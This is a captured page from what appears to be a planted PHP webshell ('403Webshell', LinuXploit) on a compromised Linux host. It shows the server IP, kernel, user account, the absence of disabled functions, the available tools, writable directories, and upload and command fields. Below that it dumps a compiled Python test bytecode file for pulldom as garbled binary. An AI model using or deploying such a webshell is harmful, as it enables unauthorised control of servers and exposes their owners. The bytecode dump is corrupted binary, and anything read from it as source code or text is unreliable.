403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_pulldom.cpython-36.opt-2.pyc
3

�
�^T1�@s�ddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZeddd�Zd	Z
Gd
d�dej�ZGdd
�d
ej�ZGdd�de�ZGdd�de�ZGdd�de	j�ZGdd�dej�Zedkr�ej�dS)�N)�AttributesImpl)�feature_external_ges)�pulldom)�findfileztest.xmlZxmltestdata)Zsubdira
<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xdc="http://www.xml.com/books">
<!-- A comment -->
<title>Introduction to XSL</title>
<hr/>
<p><xdc:author xdc:attrib="prefixed attribute" attrib="other attrib">A. Namespace</xdc:author></p>
</html>c@sHeZdZdd�Zdd�Zdd�Zejdd��Zejd	d
��Z	dd�Z
d
S)�PullDOMTestCasec
CsHtjt�}|j|jj�t|�ttd��}ttj|��WdQRXdS)N�rb)r�parse�tstfileZ
addCleanup�stream�close�list�open)�self�handler�fin�r�1/opt/alt/python36/lib64/python3.6/test_pulldom.py�
test_parses

zPullDOMTestCase.test_parsecCs�tjt�}t|�\}}|jt|d��|jtj|�t|�\}}|jtj|�|jd|j	�|jdt
|j��|j|jjd�j
d�t|�\}}|jtj|�t|�\}}|jtj|�t|�\}}|jd|j	�|}t|�\}}|jtj|�|jd|j�t|�\}}|jtj|�|jd|j	�|j||k�t|�\}}|jtj|�t|�\}}|jtj|�|jd|j	�t|�\}}|jtj|�|jd|j	�t|�\}}|jtj|�t|�\}}|jtj|�|jd	|j	�t|�\}}|jtj|�|jd
|j	�t|�\}}|jtj|�t|�\}}|jtj|�|jd
|j	�t|�\}}|jtj|�t|�\}}|jtj|�t|�\}}|jtj|�dS)N�
createElement�html�z	xmlns:xdczhttp://www.xml.com/books�titlezIntroduction to XSL�hr�pz
xdc:author)r�parseString�SMALL_SAMPLE�next�
assertTrue�hasattr�assertEqual�START_DOCUMENT�
START_ELEMENT�tagName�lenZ
attributesZgetNamedItem�value�
CHARACTERS�data�END_ELEMENT)r�items�evt�nodeZ
title_noderrr�test_parse_semantics+sf
z$PullDOMTestCase.test_parse_semanticsc	Cs.tjt�}xL|D]:\}}|tjkr|jdkr|j|�|jdt|j��PqW|j	d�x|D]\}}|tjkr^Pq^W|jd|jd�|j|�|jt
|�dtj�t
|�\}}|j|jd�|j|�t
|�t
|�\}}|j|jd�|jt
��t
|�WdQRX|j�|j|j�|j|j�dS)	Nr�z,No "title" element detected in SMALL_SAMPLE!rz=expandNode did not leave DOMEventStream in the correct state.rrr)rrrr!r"Z
expandNoderr#�
childNodes�failrr%ZassertRaises�
StopIteration�clear�assertIsNone�parserr
)rr(r)�itemr*rrr�test_expandItemis2






zPullDOMTestCase.test_expandItemcCs6tjt�}x&|D]\}}|tjkrPqW|jd�dS)NzNo comment was encountered)rrr�COMMENTr.)rr(r)�_rrr�test_comment�s


zPullDOMTestCase.test_commentcCsttjt�}x&|D]\}}|tjkr|jdkrPqWyt|�\}}|jtj|�Wntk
rn|j	d�YnXdS)Nrz8Ran out of events, but should have received END_DOCUMENT)
rrrr'r"rr�END_DOCUMENTr/r.)rr(r)r*rrr�test_end_document�s
z!PullDOMTestCase.test_end_documentcCs*tjt�}|j}|jt�}|j|d�dS)NF)rrrr2Z
getFeaturerr)rr2Z	saxparserZgesrrr�test_external_ges_default�s

z)PullDOMTestCase.test_external_ges_defaultN)�__name__�
__module__�__qualname__rr+r4�unittest�expectedFailurer7r9r:rrrrrs> 
rc@s4eZdZdd�Zejdd��Zdd�Zddd	�Zd
S)�ThoroughTestCasecCs|jtjdt�d��dS)N)r2)�_test_thoroughrr�SAXExerciser)rrrr�test_thorough_parse�sz$ThoroughTestCase.test_thorough_parsecCstdt�d�}|j|�dS)N�)�SAX2DOMTestHelperrBrA)r�pdrrr�test_sax2dom_fail�sz"ThoroughTestCase.test_sax2dom_failcCstdt�d�}|j|d�dS)NrDF)rE�SAX2DOMExerciserrA)rrFrrr�test_thorough_sax2dom�sz&ThoroughTestCase.test_thorough_sax2domTcCs�t|�\}}|jtj|�|jt|d��|r�t|�\}}|jtj|�|jd|j�t|�\}}|jtj|�|jd|j	�|jd|j�t|�\}}|jtj
|�|jd|j�t|�\}}|jtj|�|jd|j�t|�\}}|jtj|�|jd|j	�|jd|j�t|�\}}|jtj
|�|jd|j�t|�\}}|jtj|�|jd|j�t|�\}}|jtj
|�|jd|j�t|�\}}|jtj
|�|jd|j�t|�\}}|jtj|�dS)Nrz	a comment�targetr&rr�text)rrrr rrr5r&ZPROCESSING_INSTRUCTIONrJr!r"r%r'r8)rrFZbefore_rootr)r*rrrrA�sFzThoroughTestCase._test_thoroughN)T)	r;r<r=rCr>r?rGrIrArrrrr@�sr@c@s,eZdZdd�Zdd�Zdd�ZeZeZdS)rBcCs
||_dS)N)�_handler)rrrrr�setContentHandler�szSAXExerciser.setContentHandlercCs�|j}|j�|jd�|jdd�|jdti��|jd�|jdd�|jdtddi��|jd�|jd�|jd�|j�dS)	Nz	a commentrJr&rr�class�	paraclassrK)	rL�
startDocument�comment�processingInstruction�startElementr�
characters�
endElement�endDocument)rr6�hrrrr�s




zSAXExerciser.parsecOsdS)Nr)r�args�kwargsrrr�stubszSAXExerciser.stubN)r;r<r=rMrrZZsetProperty�
setFeaturerrrrrB�s
rBc@seZdZdd�ZdS)rHcCsr|j}|j�|jdti��|jd�|jdd�|jdtddi��|jd�|jd�|jd�|j�dS)	Nrz	a commentrJr&rrNrOrK)	rLrPrSrrQrRrTrUrV)rr6rWrrrrs



zSAX2DOMExerciser.parseN)r;r<r=rrrrrrH
srHc@seZdZdd�ZdS)rEcCs0tj�|_|jjtjjjd�|jj|j�dS)Nr,)	r�SAX2DOMr2r[�xml�saxrZfeature_namespacesrM)rrrr�reset!s
zSAX2DOMTestHelper.resetN)r;r<r=r_rrrrrEsrEc@s&eZdZd	dd�Zdd�Zdd�ZdS)
�SAX2DOMTestCase�TestcCs|j||�dS)N)r)rZtestZtestnamerrr�confirm*szSAX2DOMTestCase.confirmcCsjtjt��V}t|tjj�tt��}x&|D]\}}|tj	kr(|j
dkr(Pq(W|jt|j�d�WdQRXdS)Nrr)
�io�StringIOrrEr]r^Zmake_parserr#rr!r"Z
assertGreaterr-)rr�sdr)r*rrr�
test_basic-s
zSAX2DOMTestCase.test_basiccCs>tj�}|j�|jdi�|jd�|jdi�|jd�|jd�|jd�|jd�|j�|j}|j}|j	\}}}|j	d}|j
|j�|j|j
|�|j|j|�|j|j
|�|j|j|�|j
|j
�|j
|j�|j
|j
�|j|j|�|j|j|�|j|j|�|j|j|�|j|j|�|j�dS)N�docrKZsubelmr)rr\rPrSrTrUrVZdocumentZdocumentElementr-r1ZpreviousSiblingZassertIsZnextSiblingZ
parentNode�unlink)rZsax2domrg�rootZtext1Zelm1Ztext2Ztext3rrr�testSAX2DOM9s8





zSAX2DOMTestCase.testSAX2DOMN)ra)r;r<r=rbrfrjrrrrr`(s
r`�__main__)rcr>Zxml.saxr]Zxml.sax.xmlreaderrZxml.sax.handlerrZxml.domrZtest.supportrr	rZTestCaserr@�objectrBrHZDOMEventStreamrEr`r;�mainrrrr�<module>s"
A"
4

Youez - 2016 - github.com/yon3zu
LinuXploit